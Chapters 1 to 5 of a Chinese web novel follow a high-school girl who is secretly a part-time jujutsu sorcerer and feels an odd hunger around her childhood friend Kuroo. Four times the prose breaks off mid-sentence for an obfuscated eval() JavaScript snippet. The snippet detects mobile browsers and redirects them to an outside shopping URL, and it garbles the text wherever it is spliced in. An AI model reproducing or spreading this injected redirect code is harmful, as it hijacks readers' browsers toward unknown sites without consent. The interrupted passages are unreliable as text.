《普通高中生,但兼职咒术师》 1. 第 1 章 “铃铃铃——铃铃铃——” 清晨,被随意放在枕头旁边的手机响起铃声。 但如果仔细观察,就会发现手机屏幕上不断闪烁着一个人的名字。 这铃声并非来自手机闹钟而是来电。 响个不停的铃声终于将蜷缩在被子里的人吵得坐起身,她整张脸被散乱的头发遮住,看不见长相。 千早紧闭着的双眼睁开一条缝,偏头看向声音来源,动作缓慢地拿起手机接通,放到耳边没有说话。 “……”对面先是沉默一瞬,接着独特又有些散漫的嗓音响起,“你要迟到了。” 千早很熟悉这个声音。 这是跟她从小一起长大的幼驯染,孤爪研磨的声音…… 声音很熟悉,但还没从美梦中清醒过来的她却并不能准确理解对方的意思。 千早反应慢半拍地歪下脑袋,不是很清楚研磨在说什么。 她将手机放到眼前,微眯着的眼睛透过头发之间的缝隙看清了屏幕上显示的时间。 8:05。 日期是周一。 也就是说今天…… 千早:“??!” 不是,她闹钟呢?为什么没有响! 千早的瞌睡被彻底吓跑,惊得她直接掀开被子从床上跳起来。 音驹的最晚到校时间是8:20。 如果快一点的话,说不定能在预备铃打响前赶到! 根本没时间思考为什么定好的闹钟没有响,千早飞快地冲进洗手间,解决洗漱的同时还顺便用梳子理了一下头发,一切结束后她一口气将挂在椅子上的运动服换上。 完成以上流程,她拎上书包直接拉开房间窗户,毫不迟疑地从二楼跃下。 - 8:17。 音驹高等学校的教导主任双手插兜,目光严峻地直视前方。 平时穿着的西装被他放在办公室,现在穿在身上的是方便抓人的运动服以及运动鞋。 他看了眼腕表上的时间,还剩三分钟。 任职教导主任的第五个年头,他遇到了四十五年人生中最大的难题,最难解决的刺头。 要说这个刺头是多差劲的学生倒也不至于,他翻看过她的入学成绩,算是中等偏上,入学以来也从未与其他学生和老师发生过争执。 但是,就是这样一个本应该普通到不能再普通的学生,却在入学不到两个月就已经迟到数次。 面对老师的细心教导,她并不会找借口反驳,一般都是低着个脑袋老老实实地站在原地听训,做出认真聆听的神情。 然后第二天踩点到校…… 8:19。 终于,时间来到最后一分钟。 然而教导主任依旧没有从进入校园的学生中看到那个刺头的身影。 这意味着什么? 意味着那个刺头她今天又要踩点到校甚至可能是迟到!! 教导主任很是气闷,决定如果今天抓到她迟到的话,这次一定要让她受到惩罚才行。 他不再通过腕表来确认时间,而是跟着手机时钟上的秒数开始倒计时。 59......30......10...9...8...7...6 终于在最后倒数五秒时,教导主任余光瞥见不远处出现一道熟悉的身影,正朝着这边狂奔。 正是让他无数次咬牙切齿的朝比奈千早。 他已经开始在心中打腹稿,哪怕朝比奈千早只是迟到一秒钟,他今天都不会轻易放过对方。 教导主任连忙示意保安开始关闭校门。 眼看着校门开始关闭,而朝比奈千早也距离学校大门越来越近。 教导主任露出一抹势在必得的微笑。 结果,就在校门完全关闭的前一秒钟。 他眼睁睁地瞅着朝比奈千早一个起跳,直接从还没关上的校门上跃了过去。 下一秒,校门关闭。 而朝比奈千早的双脚已然站在校园内。 教导主任心中愤怒的火山已经到了濒临爆发的边缘。 但她今天没有迟到,只是踩点到了而已,只是最后一秒才进入学校而已…… 教导主任忍不住观察起朝比奈的脸。当然,作为一名优秀的教师,他关注的并不是学生的长相如何。 而是学生此刻的表情,是否有悔意哪怕只是一点点的窘迫。 然后他发现,朝比奈的表情就是毫无表情。 面无表情不说,她甚至依旧脸色苍白,面不红气不喘一副准备马上离开的样子。 让人怀疑刚刚冲刺加跳过来的人到底是不是她。 想到这里,教导主任又忍不住开始感到遗憾。 这样的学生,如果能加入运动社团该有多好…… 然而实际上,被抓包踩点到校的当事人千早虽然在教导主任面前摆出一张扑克脸,但心中却狠狠地松了口气。 至少没迟到。 不过虽然没迟到,但千早还是被教导主任留在原地进行了几分钟的思想教育。预备铃打响才被放过。 礼貌地跟教导主任道别,千早一边走向教学楼,一边抽空用手机给早上提醒自己的研磨发了条安全抵达的报告短信。 教室门被拉开的瞬间,座位上的学生们被声音吸引,大多都将视线移过去。 发现来人是朝比奈千早后,众人又都默契地收回视线继续自己刚刚做的事,仿佛刚刚什么都没发生。 没有一个人跟她打招呼。 千早对此习以为常,并不在意,大步走向自己的位置,放下书包坐到椅子上开始盯着窗外发呆。 她的座位被安排在靠窗的倒数第二排。 俗话说得好,后排靠窗,王的故乡。 千早觉得,这位置再适合她不过。 她并不在意那些偶尔会落在自己身上的视线,以及背地里议论她的那些窃窃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479939|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 私语,大多同学也不是对她抱有强烈恶意。 只是不想跟她扯上关系。 不说别人,哪怕是她自己,如果在大街上看到另一个这种打扮的人,都会因为觉得奇怪而多看几眼。 有些杂乱的刘海因长时间没有修剪微微遮挡住眼睛,从入学第一天开始就没好好穿过正式校服,从来只穿那一身红色的运动服,走在学校里异常显眼。 才刚刚入学一个多月,迟到就已经成了家常便饭,是老师眼中的问题儿童。 不良不像不良,死宅不像死宅。 哦对了,她身上还有另一处让人感到奇怪的地方。 明明经常去排球部帮忙,却又在老师询问她是否要成为排球部经理时毫不犹豫地拒绝。 整天面无表情的,让别人完全搞不懂她到底在想什么。 又因为她很少会主动跟同班同学说话,开学一个多月,除两个幼驯染以外,零个朋友。 千早很清楚这些,但并不在意这些,她要上学要打工,空余时间还要去排球部帮忙。 足够忙了,没有让她在意这些事情的时间和精力。 要知道到现在为止,整个班级里她记住名字的人也只有一个。 山本猛虎。 她的同班同学,以及一入学就加入排球部的一年级部员。 单从外表上来讲,比起她这家伙更像个不良少年,但实际上对方在班级里意外得人缘不错,虽说他好像从没跟女生交流过。 这位山本同学经常看着她露出一副欲言又止的表情,但就像对待班级里其他女生一样,从未主动找她说过话。 起初千早还会觉得奇怪,次数多了以后,她就自动无视了。 - 上午的课很快结束。 千早在小卖部排队买了两袋面包,前往天台。 午饭时间千早一般都会跟两个幼驯染一起度过。 她拎着袋子一路走到天台,门嘎吱一声被打开,千早没走几步就看到常坐的长椅上此刻已经被占了位置,从背面看那人的身影比较纤细。 千早不需要猜都知道对方是谁。 她快步走到椅子边,不出所料,椅子上坐着的黑发少年正垂首抱着游戏机打游戏,旁边放着他的便当。 这人正是她的幼驯染孤爪研磨。 跟独居且不会做饭的千早不同,研磨跟双亲生活在一起,便当自然也是家里长辈给他做的。 察觉到身边有人坐下,研磨抬眼看一眼发现是千早,再次低头继续手上的游戏,嘴上问道:“所以你早上迟到了吗?” 千早道:“关校门的前一秒安全抵达了。” 说完她开始讲述早上发生的事情,比如教导主任当时的表情如何扭曲、悔恨不甘。 “那是因为你刚入学就迟到好几次了。” 两人身后突然响起另一道声音。 千早回头看向站在身后的人。 “小黑。” 2. 第 2 章 黑尾铁朗是比她和研磨高一个年级的高二生,也就是所谓的前辈。 同时他也是她另一个幼驯染。 原本应该是这样再普通不过的关系,但是最近,不知为何千早突然觉得小黑变得有些陌生。 这种陌生并不是指她觉得小黑变了。 不对,变化是有的,但是他最根本的本质并没有变。 是因为过去一年不同校,所以相处时间比以往少,变得有些生分了吗? 千早不知道这个问题的答案,但毋庸置疑,这个问题确实对她造成了一些影响。 她表情极其平淡地扫了眼黑尾身上穿着的校服。 领带有些松散地系在颈间,白色长袖衬衫外面套着一件黑色毛衣背心,下身就是普普通通的灰色西装裤。 这明明是再普通不过的打扮,音驹里的大部分学生都是这样的衣着。 但不知为何,她想到的却是被掩藏在这保守校服下面的…… 当然,虽然是关系亲近的青梅竹马,但千早平常也只看过小黑穿短裤和半袖的样子。 ……最多再加上泳衣。 但上一次看到小黑穿泳衣,已经是她初二时的事情。 初三的小黑身上并非没有肌肉,但是却跟现在不同,现在的小黑给人一种不再是小孩子的感觉。 千早不知道该怎么形容现在的黑尾,只是下意识觉得他跟同龄的男生有些许不同。 身高也不知道从什么时候开始将她远远甩在身后,现在两个人站在一起对比的话,小黑已经比她高出一个头。 身上的肌肉就更不用说,在体育馆里练习的时候,露在外面的腿和胳膊都充分证明了身体的主人平日的刻苦训练。 咕咚。 这一瞬间,千早听到自己吞咽口水的声音。 迎面走来的黑尾注意到她喉咙处微小的吞咽动作,大为震惊。 “你不会已经饿到想要吃人的程度了吧。” 听到这句话,千早霎时清醒过来,同时自己也有些疑惑地将手放在自己的肚子上,准确来说是胃的位置。 不知道为什么,她突然感觉好饿。 最近只要看到小黑,就经常会有这种感觉。 她不太在意地随口敷衍:“可能是上次没吃饱吧。” 上次? 有些意味不明的回答让黑尾和研磨都有些不解,但既然她说没吃饱,那么作为幼驯染自然会给她投喂一些自己的午餐。 毕竟从以前开始,千早就经常会喊饿。 三人全部到齐,千早十分自觉地撕开面包包装。 学校里买的面包基本都是100日元出头,价格便宜,相对的味道和口感就不用抱太大希望了。 千早吃东西的速度很快,快到让人怀疑她根本没有咀嚼,直接把口里的食物咽下去了。 这就导致黑尾和研磨刚开始吃,千早的面包就已经被她两三口给解决了。 学校卖的面包已经吃完,千早接过黑尾递过来的备用筷子,从两人的便当盒里夹出他们特意挑出来分给她的菜。 送入口中。 嘴里发出有些含糊不清的感叹,“果然比起学校面包,还是饭菜更好吃啊。” 千早对食物并不怎么讲究,但有谁会不喜欢吃美食呢? 三人全部吃完午餐,却没有立刻离开天台。 因为打工的事情,千早凌晨才睡,准备这会儿补个眠午睡一下,她刚靠到椅背上准备阖上双眼,就感觉到口袋里的手机振动几下。 手机提示收到一条新短信。 她将手机拿出来确认新信息,发现是关于打工的,只略略看了几眼就收回视线。 按灭手机屏幕,千早准备把手机放回口袋。 “说起来,你不是说会定闹钟吗?”黑尾想起前几天,三人因为千早开学后经常起不来的事情商量对策,最后千早说以一句以后早上会定闹钟,终止了这场讨论。 今早排球部晨练时,还是黑尾提醒研磨结束后去千早班级看一下她到没到校。 提到这个,千早也有些郁闷,“我记得我睡前有定闹钟,但不知道为什么早上闹钟没响不说还直接消失了。” 千早打工结束时已经是凌晨,所以她直接回了家准备睡觉,躺在床上迷迷糊糊快要入睡时,为了早上不迟到她特意在手机上定了闹钟。 但是今早闹钟并没有响,不仅如此,手机上也没有她凌晨时设置过闹钟的痕迹。 黑尾若有所思,朝她伸出手。 千早没有犹豫,将手机放到他手上。 只见黑尾摆弄一分钟后,长长地叹了口气,很是无奈地抬眸看向她,“你定闹钟的时候是不是已经困得快要睡过去了?” 千早惊异,“你怎么知道?” “你把手机计算器当闹钟了。” “……” “噗咳咳咳……” 千早对自己的行为感到无语,旁边的研磨却因为这句话被呛到连续咳了好几声。 千早初中也是跟两人同校,那个时候她从没犯过这种低级错误,虽然那个时候主要是两个幼驯染叫她起床。 因为那时她们早上是一起去上学。 但现在不同。 让她现在还跟以前一样,天天早起跟两人一起到校,那她一整天都别想听课,只能勉强保证出勤率。 绝对会因为睡眠不足导致一整天昏昏沉沉。 本来就一般的成绩,可能会直接成为全校倒数。 虽说她不怎么在意成绩,也没将考上好大学当做目标,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479940|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果成绩太差,假期要参加补考,还有可能留级。 无论如何,这两种情况她都想要避免。 所以高中开学后,她就再没跟两个幼驯染一起上过学,通常都是两个幼驯染早早抵达学校开始社团训练。 千早则是擦边到达学校,或者迟到几分钟。 两人知道千早从初三毕业后就开始打工,也知道她开始打工的原因。 千早是小学的时候搬过来的,他们从未见过她的父母,虽然不知道千早家具体发生了什么事,但包括他们两个的家人对此也多多少少有些猜测,知道千早是独自生活。 所以最初对于她急着打工这件事,两人并没有劝阻。 但后来发现,千早在做的打工严重影响到了她的日常生活。 初中毕业以后,千早经常会出现联系不上的情况,有时就算回他们消息也是在深夜。 黑尾和研磨觉得不能再这样下去,便询问她在哪里打工,工作内容是什么,想试着能不能劝千早换一份不那么影响生活的工作。 但却被千早以“这是我的小秘密。”敷衍过去。 被搪塞的次数多了,两人也就知道她并不想被人知道打工内容,并且也不准备更换工作。 不过她越是这样遮遮掩掩,不肯直说,两人就越是放心不下,但劝诫的话语也不会像之前那样直白,而是用更委婉一点的方式。 将手机还给千早,黑尾问道:“刚才的短信又是打工的事?” 想着反正待会儿也要跟他们说,千早没有否认,“嗯,所以今天我没办法去排球部帮忙。” “你今早会起晚,不就是因为昨天有打工吗?”旁边研磨状似不经意地提起。 千早无法否认。 确实,她忙完打工,回到家的时候都已经凌晨三点多。 睡觉的时候已经超过四点,虽说千早现在还是十几岁充满活力和精力的现役高中生,但可能是因为初三毕业后的那个假期她的生物钟彻底混乱,再加上现在虽然开学但依旧时常熬夜,导致她变得有些嗜睡。 甚至可以随地大小睡。 即使如此,千早也并不打算减少工作量。 一是多赚钱,二是报恩,三是—— 多完成些工作对她自己也有好处。 千早知道黑尾和研磨很担心她,但也正因为如此更不能让他们知道自己在做什么打工。 当然,她不打算也并不觉得能瞒他们一辈子。 不过在高中毕业之前,她都不打算让他们知道,这两个人也是高中生,不仅要学习还要参加社团活动。 怎么可能让他们知道这种事情,让他们来担心她。 不过话说回来,肚子确实还有点饿啊。 希望晚上的时候能饱餐一顿。 3. 第 3 章 寂静无人的树林之中,只有零星几声虫鸣和树叶被微风带动作响的沙沙声。 微弱月光照射下来,只能隐约看见两道身影在树林中一前一后地飞快穿梭。 后面那道人类身影速度极快,像是正追赶着前面那道身影,一头长发也因着她的速度在半空中高高扬起。 而在她前方不远处,另一道比她大了两三倍的身影正慌不择路地奔逃。 那显然并非人类该有的体型。 庞大而扭曲,像是一只站立起来的巨大无比的蜥蜴。 但这怪物却偏偏像是怕极了身后追赶它的身影,手忙脚乱地挥舞着肢体东奔西撞。 就在这时,人类身影再次提升速度,身影一闪,霎时出现在怪物身侧。 闪着寒芒的匕首被她高高举起,然后—— 毫不迟疑地刺进怪物的躯体。 确定伤口足够深,可以一击毙命,千早拔出匕首,紫色血液随之喷溅而出,飞溅到她裸露在外的手臂上。 颜色诡异的血液衬得那条手臂愈发白皙,但意外的是这手臂虽看起来像是那种久不见阳光不健康的白,但却意外的肌肉紧实。 趴倒在地上的咒灵同被其他咒术师祓除的咒灵不同,并没有直接消失,而是在‘死后’身上浮现出大小不一的透明光团,缓缓飘向千早的方向。 千早身边不知何时出现了一条长着双翼的蓝色小鱼。 那小鱼不过巴掌大小,尾鳍缓慢地左右摆动,它深吸一口气将光团全部吸入腹中。 直到咒灵身上冒出的光团被全部吞掉,咒灵的身体突然像是泄了气的气球一样瘪下去。 小鱼见状嘴巴张大,一团比它自身还要大的光团自它口中飞出,最终涌进千早的体内。 千早站在原地,眼睛缓缓闭上,享受着新鲜美味的咒力进入到自己的体内,最终化作自己一部分的美妙感受。 消化完这团浓缩过的咒力,千早睁眼看向旁边盯着咒灵‘尸体’蠢蠢欲动的式神。 见千早终于看向这边,它的尾鳍疯狂摆动,像一条等待主人下令的狗。 “吃吧。” 几乎是她话音落下的同时,小鱼嗖地一下蹿到咒灵面前将那比它大了数十倍的‘尸体’一口吞下。 任务完成,小鱼小小地打了个嗝消失不见。 同样完成工作的千早也转身下山。 她摸出手机打算看一眼时间。 屏幕亮起后显示—— 时间四点半,无信号。 千早面无表情地盯着时间看了好几秒,又抬头看向天边。 嗯,待会儿天都亮了,直接去学校吧。 - “辛苦了,朝比奈同学。” 千早一下山,就看到伊地知洁高站在黑色轿车旁等待。 虽然对方这么说,但千早总觉得比起刚刚吃过一顿的自己,通宵一夜接下来还要开车送她去学校的这位辅助监督显然更辛苦。 她难得地有些尴尬,不自在地用手指摩挲起制服上的漩涡式纽扣。 坐上车后,伊地知系上安全带询问:“今天也是送你回家吗?” 坐上后座的千早拎起装着音驹运动服的挎包,“不,麻烦你直接送我去学校吧。” 意料之外的答案让伊地知微愣,但却没有多说什么。 他知道音驹高校的地址,所以直接启动了车子。 早在几年前,伊地知就跟千早见过面,甚至见过的次数并不少。 他们两个,一个是五条先生学生时期的后辈,一个跟伏黑同学相似,算是被五条先生领养的孩子。 ……也不知道那个人到底是怎么回事,还在高专念三年级的时候突然开始热衷于在外面捡孩子。 捡了伏黑姐弟不说,几个月之后又捡了比伏黑同学大一岁的朝比奈同学。 偏偏不管是伏黑同学还是朝比奈同学都极具天赋的同时,两人又都是有些麻烦的咒术师家族出身。 他知道,未来必须成为咒术师是五条先生收养他们的理由。 原本伊地知以为,朝比奈同学初中毕业后会进入高专,好像她自己原本也是这样打算的,但不知为何最后她却没有这么做,而是进入了一所公立高中。 五条先生对此却完全没有要阻止的意思。 最终就变成了现在这样。 在朝比奈同学高中或者大学毕业之前,都将以兼职咒术师的身份活动。 不过五条先生还是帮她定制了高专制服,以及虽然不是高专生,但姑且也在开学的时候跟同届的那三个孩子见过面。 听到身后响起窸窸窣窣穿衣服的声音,伊地知目视前方。 虽然在开车的他原本就目视前方。 不过别误会,这声音并不是千早在换衣服。 她只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479941|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在穿衣服。把音驹的运动服套在高专制服外面。 哪怕是在音驹的教室里上课的时候,她也是这么穿的。 而这么穿的理由,恐怕只有她自己知道。 刚穿好衣服,千早感觉到衣服口袋里的手机振动了几下,伸手拿出来查看短信。 是研磨发过来的。 视线移到手机的右上角,果然信号已经恢复。 研磨:[早上的时候再给你打电话。] 发送时间是四个小时前。 也就是说,这个人至少玩游戏玩到了凌晨十二点多。 千早略想了一下回道: [没事,我醒着。] 回复完研磨的消息,她拿着手机等了一会儿,见没有新消息进来才按灭手机屏幕。 小黑应该……还在睡吧。 虽说排球部没有硬性规定,但是也有像小黑这种经常会自主晨练的人。 研磨偶尔也会去,不过去的次数没有小黑多。 原因大概有很多吧,比如三年级的前辈很讨人嫌之类的…… 不过今天吃了不少咒力,短时间内应该不会再看到小黑就感到饥饿了吧。 虽然千早这一整晚的大部分时间都用在了赶路和看任务资料上,但消灭的咒灵自然不止刚刚那一只一级咒灵。 她阖上双眼,决定抵达学校之前闭目养神休息一下。 千早虽然有些嗜睡,但那是在睡着了的情况下,通宵个一两天对于十几岁的少年来讲,并不是什么难事。 前提是这名少年白天的时候不需要上课。 但可惜的是,她现在刚刚结束打工,就要去学校准备上课了。 通宵一整晚后听到的讲课声,跟催眠曲有什么区别? 班级里又没有千早相熟的同学,她已经做好这两天问研磨借笔记的准备。 - 意料之外的事情发生了。 “朝比奈同学,要不我还是先把你送回家吧?” 将车停在校门旁,伊地知将千早叫起来后,看着紧闭的校门询问她的意见。 千早:“……” 好吧,这是她的失误。 上了高中之后,她可以说是从未早到过,所以也不知道学校几点开门。 也对啊,接近九点才开始上课的学校怎么可能六点半不到就开门呢。 现在要怎么办? 4. 第 4 章 便利店的自动感应门上映照出千早朦胧的身影。 这家便利店距离音驹不远,在里面一抬头就能看到学校这边,可以第一时间注意到学校是否开门。 “欢迎光临。” 店内舒缓的bgm和店员的迎客声同时响起。 千早径直走向最里面的货架,大多便利店都会把便当类的商品放在这里。 走到放满便当三明治还有饭团的货架前,千早拎着小购物篮随便拿了两个挨着的便当,一份牛肉盖饭一份蛋炒饭放进里面。 之后她又走向旁边的冰柜,打开柜门拿出两瓶矿泉水扔进购物篮。 拿完想买的东西,千早拎着购物篮走到柜台前,把购物篮往台面上一放。 便利店大多都是二十四小时营业,因此即使现在才刚过六点,店里也还是有两名店员在看店。 这么早来学校的学生并不常见,负责收银的店员打量了她几眼。 “便当需要加热吗?” 千早随意点着头,“嗯,帮我加热一份。” “请问要加热哪份便当?” “蛋炒饭。”千早没怎么思考,直接选了眼前的那份。 店员拿起蛋炒饭便当转身放进身后的微波炉里加热,又将其他商品装进塑料袋递给千早。 千早付完钱,站在收银前等了一会儿。 叮的一声响起,加热完毕,店员打开微波炉把便当拿出来放到另一个袋子里。 千早拎起两个袋子走到落地窗旁,坐在最中间的位置上打开便当慢慢悠悠地开始吃早饭。 味道……她并不怎么在意,只要能吃就可以。 因为小时候的事情,千早并不挑食,再加上她经常产生饥饿感,对食物就更没有什么高要求了。 千早边吃饭边悠闲地翻看着手机,偶尔抬头看一眼学校的方向。 音驹的第一节课早上8:45才开始,但有很多社团要求部员晨练,所以学校大概率至少也会在七点左右开门。 也就是说还有不到一个小时。 想到这里,千早吃饭的动作变得更加缓慢。 千早磨磨蹭蹭着在接近七点的时候终于把早饭吃完,起身把空了的便当盒和喝完的矿泉水瓶扔进便利店的垃圾桶里。 她背起包拎起装着另一份便当和水的袋子走出便利店。 “欢迎您的下次光临。” 千早抬眼就看到陆陆续续地开始有穿着音驹校服的学生在往学校走。 在那之中,她一眼就看到了那道熟悉的身影。 小黑微垂着脑袋,边走路边摆弄着手机,不知道在看些什么。 她加快步伐朝那边走了没几步,刚要开口喊住对方,就听到自己口袋里传出的铃声。 千早只能停下脚步,拿出手机一看,屏幕上显示着黑尾铁朗四个字。 此时走在前面的黑尾听到身后响起的音乐声,下意识回头看向声源处。 四目相对。 “啊。” “啊。” 黑尾有些不敢置信地低头看了眼手机上的时间,又抬头看向站在不远处的千早,动作略显浮夸。 “早上好小黑。”千早率先开口,朝黑尾的方向走了几步。 然后她停下脚步,停在了距离黑尾一米远的位置,没再往前走拉进两人之间的距离。 反倒是黑尾从刚刚的震惊中缓过神,主动走向千早。 “今天很早……” 他话还没说完,刚往千早的方向靠近一步,就发现对面的千早突然表情古怪地后退了一步。 黑尾:“?” 两人大眼瞪小眼、面面相觑。 黑尾不信邪地又走一步,千早也跟着退后一步。 两人就像较上劲在比赛一样,动作飞快,你走一步我退一步。 两人奇异的行为,引得路人纷纷侧目。 “……你们在干什么?” 阻止两人继续这奇怪比试的是名差点被千早踩到的男生。 男生与千早身高相近,穿着一身音驹校服。 是二年级的夜久卫辅,跟黑尾一样是排球部的部员。 夜久虽然不知道发生了什么,但现在这种情形怎么看都像是一方在躲避,另一方在紧追不舍,“黑尾,就算你们关系好也不能欺负一年级啊。” “我没有欺负她啊?”黑尾讲完刚想让千早帮着一起解释清楚,突然发现千早不知道什么时候已经躲到了夜久身后。 还露出一副得救了的表情。 看到千早露出这样的神情,哪怕是黑尾自己都忍不住怀疑他是不是在不经意间或者是自己不知道的时候惹到对方了。 以他对千早的了解,千早的性格虽然算不上活泼开朗,但也从未这么明显的避开过谁。 如果有人想要欺负或者惹到她的话,她都会直接武力压制。 是的,黑尾知道千早会打架并且很强这一点。 小的时候,千早有的时候出门还会带着一身擦伤回来,但不知道从什么时候开始,在她身上再也看不到任何伤口。 黑尾想跟千早好好谈一谈,如果真的是自己在不经意间不小心惹到她,或者是做了什么让她觉得不舒服的事情,以后得注意一些。 然而千早没有给他这个机会。 千早也不知道自己为什么会下意识地躲到夜久前辈身后,她本以为今天见到黑尾不会再产生饥饿感。 但是事实却狠狠地打了她的脸。 那几乎刻进灵魂深处的饥渴感,让她不敢再朝小黑靠近一步,她怕自己控制不住或者哪一天不够意志不够坚定直接咬小黑一口。 千早原本就有些凌乱的头发此刻被她用双手揉得乱七八糟。 她一定是身体哪里出了问题,不然就是术式哪里出了问题! 不然为什么会这么饿?而且每次都是在看到小黑的时候,如果病情继续严重下去的话,她会不会有一天真的把小黑给吃了?! 想到这里,千早如坠冰窟。 她再次默默退后两步,嘴唇轻颤声音都有些抖地道:“……对不起小黑,我今天身体有些不太舒服,我先回家了——!!!” 说到后半句的时候,千早已经不顾一切地狂奔出去。 不过眨眼间功夫黑尾二人就再也看不见她的身影。 “……你真的,到底对那孩子做了什么啊?” “我也没有头绪啊。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479942|201678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 千早这边一溜烟地跑到车站。 她靠着站牌缓了口气,赶紧拿出手机翻找通讯录。 划到五条悟这个名字出现的时候,手指轻按上去。 电话拨通,她连忙将手机放到耳边。 手机里传出有些懒散松弛,但极其具有磁性的声音。 “真少见啊,你居然会在这个时间给我打电话。” 平心而论,黑尾和五条悟的声音其实有些相似,但千早从未将他们搞混过。 他们的声音虽然相似,但却是不同的。 握着手机的手微微攥紧,千早张了张嘴声音都有些沙哑:“五条先生,你现在在高专吗?” “嗯——?你现在要过来?” 千早下意识想点头,想起对方看不见答道:“我现在在等车,我有些想跟五条先生商量的事情。” 音驹附近有地铁,但想要去高专就只能坐公交巴士。 毕竟那里是郊区。 - 高专,全名咒术高等专门学校。 国内一共有两所高专,一所在京都另一所就在东京。 差不多花了一个小时在路上,千早终于抵达了东京高专。 不得不说,郊区的环境确实比市内好上许多,到处都是绿意盎然的植物。 但此刻的千早却没有心情欣赏这份美景。 因为五条悟是一年级的班主任,所以她只能等对方上完课。 虽然千早觉得那个人大概率不会好好待在教室里给学生上课就是了。 这种时候,她能商量的人有且仅有五条先生。 毕竟这个人是她的恩人的同时,还是教导了她关于咒术方面知识的人。 如果不是因为没有来高专上学,她本应该管这个人叫一声老师的。 千早并没有等太久,距离她所知的下课时间还有一段时间的时候,她就已经等到了五条。 看着眼前这个不应该在这个时间出现的男人,千早默默道:“……五条先生,现在应该还是一年级的上课时间吧。” 眼睛上蒙着几圈白色绷带的高大男人毫不在意。 “一年级的那几个学生的话,在进行自主练习,你不过去看看吗?毕竟你难得来一趟高专。” 如果是平时的话,千早或许会同意,但今天她毕竟是带着问题来的,比起跟一年级的‘同期’们处好关系,她更想快一点解决自己身上发生的问题。 千早没有回答五条的问题,直截了当地道:“我感觉,我最近有些不对劲。” 她话中的意思让五条悟有些疑惑。 五条悟稍稍低头靠近了一些,虽然没有摘下眼上缠着的绷带,但是即便如此他也可以‘看到’。 他将千早上上下下打量了一遍也没发现什么问题,“……身体上看起来没出现什么问题,有在好好成长,咒力也一样。你说的不对劲是指哪方面?” 说到这个,千早其实有些难以切齿。 但这也是为了小黑的安全,以及她自己的原则底线—— “我最近只要看到小黑就会觉得很饿。” 空气陷入死一般的寂静。 过了半晌。 “……诶?” 5. 第 5 章 深色窗帘紧紧拉上,阳光被彻底隔绝在外。 一排排柜子被文件夹填满,连房间内唯一一张电脑桌上都堆满写得密密麻麻的纸张。 “你是说她有可能脑子或是术式出了问题?” 家入硝子放下刚刚正在翻阅的资料,听完五条悟的话,抬眼看向站在五条旁边的朝比奈千早。 她突然有了点兴致。 “我们关于术式、咒力的了解还很少,即使之前从未有过术式出现问题的例子,也不可否认这种问题有概率发生。” 闻言千早难得有些不安。 如果连五条先生或者家入小姐都无法解决这个问题,那她真的不知道自己该找谁帮忙了。 “有没有可能,是我在没注意到的时候被诅咒了之类的……?” 其实她自己也知道这种可能性很小,小到近乎为零。如果她真的中招了,身为咒术师她不可能察觉不到,而且还有五条先生。 没有人能逃过这个人的那双眼睛。 两个人谁都没有回答千早的问题,也从她的表情中读出她其实并不需要二人告诉她答案,因为她自己也知道那个答案是什么。 “考虑到你拥有的术式并非家传术式这一点,所以我想即使你回去家里应该也查不到什么信息。” 听到家里二字,千早下意识撇下嘴。 她并非对说这话的家入小姐有意见,只是并不觉得自己属于那个家族,所以才会露出这样的表情。 虽说母亲后来也抛下了她,但她从小到大可都是随母亲姓朝比奈。 家入转身面向电脑屏幕,打开一个新文档,“你说一下具体情况。” “她想吃幼驯染。”五条悟帮千早简洁明了地回答了这个问题。 放在键盘上的双手悬在半空,家入少见地露出错愕的表情猛地转头看向千早。 “五条先生,请不要把人说的像是食人魔一样。”千早无奈地为自己辩解道:“严格来讲,并不是想要吃他,而是看到他就会有饥饿感。” 家入收回目光,手指又落到键盘上,“我记得以前帮你做检查的时候你曾经说过,咒力是没有味道的,难道你的那位幼驯染的咒力在你看起来特别诱人?” “比如他的咒力散发出了什么特别的气味,让你特别有食欲?” 千早陷入回忆之中,双手抱臂眉头蹙在一起。 咒力没有味道,至少对千早来说是这样的。 虽说迄今为止,人类之中她只吃过一个人的咒力。 